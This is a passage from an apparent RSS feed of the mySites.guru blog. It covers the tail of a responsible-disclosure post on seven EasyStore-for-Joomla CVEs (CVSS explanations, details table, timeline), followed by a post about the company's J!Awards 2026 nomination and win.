integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90903/&quot;&gt;CVE-2026-90903&lt;/a&gt;Missing CSRF token verification across the administrator AJAX API&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;No CSRF check across the admin API. A logged-in administrator who opens a hostile page can be made to change products, orders, customers and settings.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Needs an admin to open a link&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;7.2&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90905/&quot;&gt;CVE-2026-90905&lt;/a&gt;Missing CSRF and access control checks in site configuration updates&lt;/p&gt;&lt;p&gt;&lt;span&gt;High&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Configuration update with no CSRF or access check. A hostile page can rewrite the site&apos;s mail sender name and address in configuration.php.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Needs an admin to open a link&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90900/&quot;&gt;CVE-2026-90900&lt;/a&gt;Missing CSRF token verification on storefront product reviews&lt;/p&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA record, published 23 September 2026&lt;/span&gt;&lt;/p&gt;&lt;p&gt;CSRF on storefront reviews. A hostile page can post reviews in the name of any logged-in customer who visits it.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Needs a customer to open a link&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:N&lt;/dt&gt;&lt;dd&gt;None: The site stays up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;





















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Extension&lt;/td&gt;&lt;td&gt;EasyStore for Joomla (&lt;code&gt;com_easystore&lt;/code&gt;), Free and Pro&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Everything below 3.0.1 (reported against 3.0.0, also present in 2.0.1)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;EasyStore 3.0.1, released 23 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90899/&quot;&gt;CVE-2026-90899&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90900/&quot;&gt;CVE-2026-90900&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90901/&quot;&gt;CVE-2026-90901&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90902/&quot;&gt;CVE-2026-90902&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90903/&quot;&gt;CVE-2026-90903&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90904/&quot;&gt;CVE-2026-90904&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-90905/&quot;&gt;CVE-2026-90905&lt;/a&gt;, published by the Joomla CNA on 23 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;Joomla CNA: 8.6 High (media SQL injection, allowEdit), 8.2 High (customer lookup, coupon SQL injection), 7.2 High (admin API CSRF, configuration CSRF), 5.3 Medium (review CSRF)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;10 September 2026, to JoomShaper, with the Joomla Security Strike Team copied&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;10 September 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fix verified&lt;/td&gt;&lt;td&gt;22 September 2026, against a pre-release build JoomShaper sent us&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Credit&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru, in all seven CVE records. None in the 3.0.1 changelog&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; JoomShaper releases EasyStore 3.0.0 A major release of the Joomla ecommerce extension, Free and Pro.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; mySites.guru reports seven flaws the same day Sent privately to JoomShaper, with the Joomla Security Strike Team copied. No public detail.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-10&lt;/strong&gt; JoomShaper acknowledges the report Support thanks us and passes the findings to the developers to verify.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-22&lt;/strong&gt; JoomShaper sends a fixed build for checking Free and Pro, with a request to confirm before release.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-22&lt;/strong&gt; mySites.guru confirms all seven are fixed Checked against the code of the build JoomShaper sent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-23&lt;/strong&gt; EasyStore 3.0.1 ships with a Security section Seven fixes, each citing a reserved CVE ID. No reporter credit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-23&lt;/strong&gt; Affected sites flagged and this post published Every connected site below 3.0.1 is flagged in mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-23&lt;/strong&gt; Joomla CNA publishes all seven CVE records Each record credits Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Exposed customer invoices, order forgery and SQL injection in EasyStore&lt;/a&gt; - the three flaws we reported in EasyStore 2.0.1, fixed in 2.0.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;The Joomla extension security disclosure standard&lt;/a&gt; - the Joomla Security Strike Team&apos;s twenty rules for extension developers, including CVEs and reporter credit.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Front-end AJAX endpoints are a CMS security blind spot&lt;/a&gt; - why an anonymous request can reach customer data.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;How to check your Joomla database security&lt;/a&gt; - what to review if a vulnerable extension was live.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Insecure Direct Object Reference&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the weakness classes behind these seven.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-extensions/easystore&quot;&gt;EasyStore by JoomShaper&lt;/a&gt; - the vendor&apos;s product page, where 3.0.1 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>easystore</category><category>joomshaper</category><category>ecommerce</category><category>vulnerability</category><category>responsible disclosure</category><category>sql injection</category><category>csrf</category><enclosure url="https://mysites.guru/img/og/blog/easystore-3-security-disclosure.png" length="0" type="image/png"/></item><item><title>mySites.guru is shortlisted in Joomla&apos;s first J!Awards</title><link>https://mysites.guru/blog/joomla-jawards-2026-vote-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-jawards-2026-vote-mysites-guru/</guid><description>mySites.guru was one of five nominees for Your Favourite Tool in Your Joomla Workflow in the J!Awards 2026. mySites.guru won the category in Potsdam.</description><pubDate>Mon, 21 Sep 2026 16:22:32 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;We won&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru won Your Favourite Tool in Your Joomla Workflow, announced at the Joomla World Conference in Potsdam on 16 October 2026. Thank you to everyone who voted. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-wins-joomla-jawards-2026/&quot;&gt;Read the announcement&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;mySites.guru is one of five nominees for Your Favourite Tool in Your Joomla Workflow in the &lt;a href=&quot;https://community.joomla.org/jawards/about&quot;&gt;J!Awards 2026&lt;/a&gt;, the first community choice awards the Joomla project has run. The shortlist came from public nominations between 17 August and 13 September, and the five tools with the most nominations in each category went through to the vote, so if you put our name forward, thank you.&lt;/p&gt;
&lt;p&gt;Voting closed on 11 October 2026, and the winners were announced at the &lt;a href=&quot;https://conference.joomla.org/&quot;&gt;Joomla World Conference&lt;/a&gt; in Potsdam on 16 October. Thank you to everyone who voted for us.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_po4O7.webp&quot; srcset=&quot;https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_ZvJ9zM.webp 640w, https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_1rS0qE.webp 750w, https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_qk7nc.webp 828w, https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_1lt1zc.webp 1080w, https://mysites.guru/_astro/jawards-2026-its-time-to-vote.uj7Rixvc_po4O7.webp 1200w&quot; alt=&quot;Joomla&apos;s J!Awards 2026 artwork: a gold Joomla logo on a J!Awards podium with laurels, and the words It&apos;s time to vote! One community. Your favourites.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1200px) 1200px, 100vw&quot; width=&quot;1200&quot; height=&quot;630&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;What are the Joomla J!Awards?&lt;/h2&gt;
&lt;p&gt;The J!Awards are the Joomla project’s community choice awards, and 2026 is the first year. In the project’s own words, they “celebrate the people, projects, extensions, and businesses helping make Joomla better”. There are eight categories in two groups. Creators and Contributors covers the favourite new feature of Joomla 6, the favourite Joomla Community Magazine article, the favourite website design built with Joomla and the Joomla influencer of the year. Tools and Services covers the favourite extension, template, hosting platform and tool in a Joomla workflow.&lt;/p&gt;
&lt;p&gt;There is no jury. The public nominated, the most-nominated entries became the shortlist, and the nominee with the most votes in each category wins. The Joomla &lt;a href=&quot;https://www.joomla.org/media-press/jawards-community-choice-awards.html&quot;&gt;press release that launched the awards&lt;/a&gt; names its inspiration as the J!OSCARs, the awards created in 2010 at the J and Beyond conference, and that is where our history with Joomla awards starts.&lt;/p&gt;
&lt;h2&gt;mySites.guru is no stranger to winning awards - the Joomla J!OSCARs&lt;/h2&gt;
&lt;p&gt;We have been here before, under the name the service traded as until it was &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;renamed mySites.guru in 2024&lt;/a&gt;. J and Beyond, the community Joomla conference that ran the J!OSCARs, gave the service four of them between 2013 and 2017:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://web.archive.org/web/20140827055229/http://jandbeyond.org/archive/60-j-and-beyond-2013/320-2013-j-oscar-winners.html&quot;&gt;2013&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Noordwijkerhout. The J!OSCAR jury gave its Joomla! Innovation of the Year award to monitoring services, mySites.guru among them.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://web.archive.org/web/20150607042429/http://jandbeyond.org:80/archive/74-j-and-beyond-2014/404-2014-j-oscar-winners.html&quot;&gt;2014&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Königstein. The J!OSCAR for Joomla Services, decided by the attendees.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://web.archive.org/web/20160509061905/http://jandbeyond.org:80/archive/94-j-and-beyond-2015/559-j-o-s-c-a-r-s-winners-2015.html&quot;&gt;2015&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Prague. Joomla Services again, and again decided by the attendees.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://web.archive.org/web/20170613100650/http://jandbeyond.org:80/news/586-j-o-s-c-a-r-s-winners-2017.html&quot;&gt;2017&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Kraków. Joomla Services for a third time, after a year off.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Each year links to the conference’s own winners page as the Internet Archive kept it, and the Joomla Community Magazine’s &lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2017/fantastic-international-joomlafans-meeting-in-cracow&quot;&gt;report from Kraków&lt;/a&gt; records the 2017 win. The J!OSCARs were decided at the conference, by a jury or by the people in the room. The J!Awards are the first Joomla awards where the whole community votes online, so the result depended on who took a minute to vote, wherever they were. The &lt;a href=&quot;https://mysites.guru/awards/&quot;&gt;full awards record&lt;/a&gt; is on its own page.&lt;/p&gt;
&lt;h2&gt;What mySites.guru did for Joomla sites in 2026&lt;/h2&gt;
&lt;p&gt;A vote for a workflow tool should rest on what the tool does. Here is this year, in numbers from our own records:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100+&lt;/div&gt;&lt;div&gt;Joomla extension vulnerabilities we found and reported to their developers this year&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;314&lt;/div&gt;&lt;div&gt;Joomla extension vulnerability rules matched against connected sites&lt;/div&gt;&lt;div&gt;across 193 extensions&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;div&gt;years since we started as the Joomla Health Checker&lt;/div&gt;&lt;div&gt;in 2012, inside the Joomla community&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Counts as of 21 September 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Most of the year went into security. We found and privately reported more than a hundred vulnerabilities in Joomla extensions, &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen of them in a single month&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/tag/responsible-disclosure/&quot;&gt;responsible disclosure archive&lt;/a&gt; lists them. When a vendor ships the fix, it protects all the sites running that extension, whether or not their owners have heard of us. Our subscribers get the other half: the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla vulnerability database&lt;/a&gt; is matched against the extension versions on their connected sites, so “which of my sites run the vulnerable version?” is answered on the dashboard rather than by logging into each site to check.&lt;/p&gt;
&lt;p&gt;The rest of the year went on the kind of work a workflow category is about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;tool to find and fix the JCE profiles hack&lt;/a&gt; on all your sites at once.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Every known Joomla 3 security issue fixed in one click&lt;/a&gt;, part of the subscription, with no separate &lt;a href=&quot;https://joomla3security.com/timeline/&quot;&gt;eLTS&lt;/a&gt; licence needed.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;One-click patches for abandoned JoomShaper extensions on Joomla 3&lt;/a&gt;, for the sites that cannot move yet.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/force-mfa-on-joomla-super-users-across-every-site/&quot;&gt;Forcing MFA on Super Users&lt;/a&gt; across the Joomla 6.1 sites you manage.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/release-radar-joomla-wordpress-extension-releases/&quot;&gt;Release Radar&lt;/a&gt;, a free public log of new Joomla and WordPress extension releases, including commercial releases that no directory lists.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Over the summer alone we &lt;a href=&quot;https://mysites.guru/blog/summer-2026-new-features/&quot;&gt;added 38 new tools and improved 40 more&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Why mySites.guru belongs in a Joomla workflow&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/jawards-2026-finalist-mysites-guru.CQlSR2u1_GBay8.webp&quot; srcset=&quot;https://mysites.guru/_astro/jawards-2026-finalist-mysites-guru.CQlSR2u1_Z2dXuNg.webp 640w, https://mysites.guru/_astro/jawards-2026-finalist-mysites-guru.CQlSR2u1_13c3sQ.webp 750w, https://mysites.guru/_astro/jawards-2026-finalist-mysites-guru.CQlSR2u1_Z9c1oP.webp 828w, https://mysites.guru/_astro/jawards-2026-finalist-mysites-guru.CQlSR2u1_GBay8.webp 1080w&quot; alt=&quot;J!Awards 2026 finalist badge for Favourite Tool in Your Joomla Workflow: a gold Joomla logo on a J!Awards podium, a FINALIST ribbon, and the words Voting is now open, anyone can vote.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1080px) 1080px, 100vw&quot; width=&quot;1080&quot; height=&quot;1080&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A tool in your Joomla workflow is the one you open without thinking about it, and for the agencies who use mySites.guru that is the dashboard they check first thing. It shows all your Joomla and WordPress sites on one screen: which have updates waiting, which have failed a security check and which have gone down. From there you can update extensions in bulk and run security audits on a daily, weekly or monthly schedule, without logging into each site’s administrator one at a time.&lt;/p&gt;
&lt;p&gt;That is the job we have done since 2012, and the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Joomla multi-site dashboard&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; show the rest. If you use it every day, Your Favourite Tool in Your Joomla Workflow is a fair description, and that is the case we made for the vote.&lt;/p&gt;
&lt;h2&gt;Not using mySites.guru yet?&lt;/h2&gt;
&lt;p&gt;Seeing what we would find on your own sites costs nothing. A &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free site audit&lt;/a&gt; runs the full set of checks on one WordPress or Joomla site with no card needed.&lt;/p&gt;
&lt;p&gt;mySites.guru itself is a paid subscription: &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;£19.99 a month for unlimited sites&lt;/a&gt;, with all features included, and the price has not changed since 2012. The vulnerability matching, the bulk updates and the security tools above are all part of the subscription.&lt;/p&gt;
&lt;p&gt;The winners were announced at the Joomla World Conference on 16 October 2026, and mySites.guru won the category. &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-wins-joomla-jawards-2026/&quot;&gt;Here is the announcement&lt;/a&gt;, and our thanks to everyone who voted.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-08-17&lt;/strong&gt; Nominations open The Joomla project launches the first J!Awards, eight categories chosen by the community.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-13&lt;/strong&gt; Nominations close The five most-nominated entries in each category go through to a public vote.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-21&lt;/strong&gt; Voting opens at 00:01 UTC Open to everyone, no account needed, one submission per person.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-11&lt;/strong&gt; Voting closes at 23:59 UTC The nominee with the most votes in each category wins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-16&lt;/strong&gt; Winners announced at the Joomla World Conference Potsdam, near Berlin, 16 to 18 October.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://community.joomla.org/jawards/about&quot;&gt;J!Awards 2026&lt;/a&gt; - the Joomla project&apos;s own page, with the timeline, the categories and the rules.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.joomla.org/jawards/vote&quot;&gt;J!Awards voting page&lt;/a&gt; - every category and every nominee, and the form itself.&lt;/li&gt;
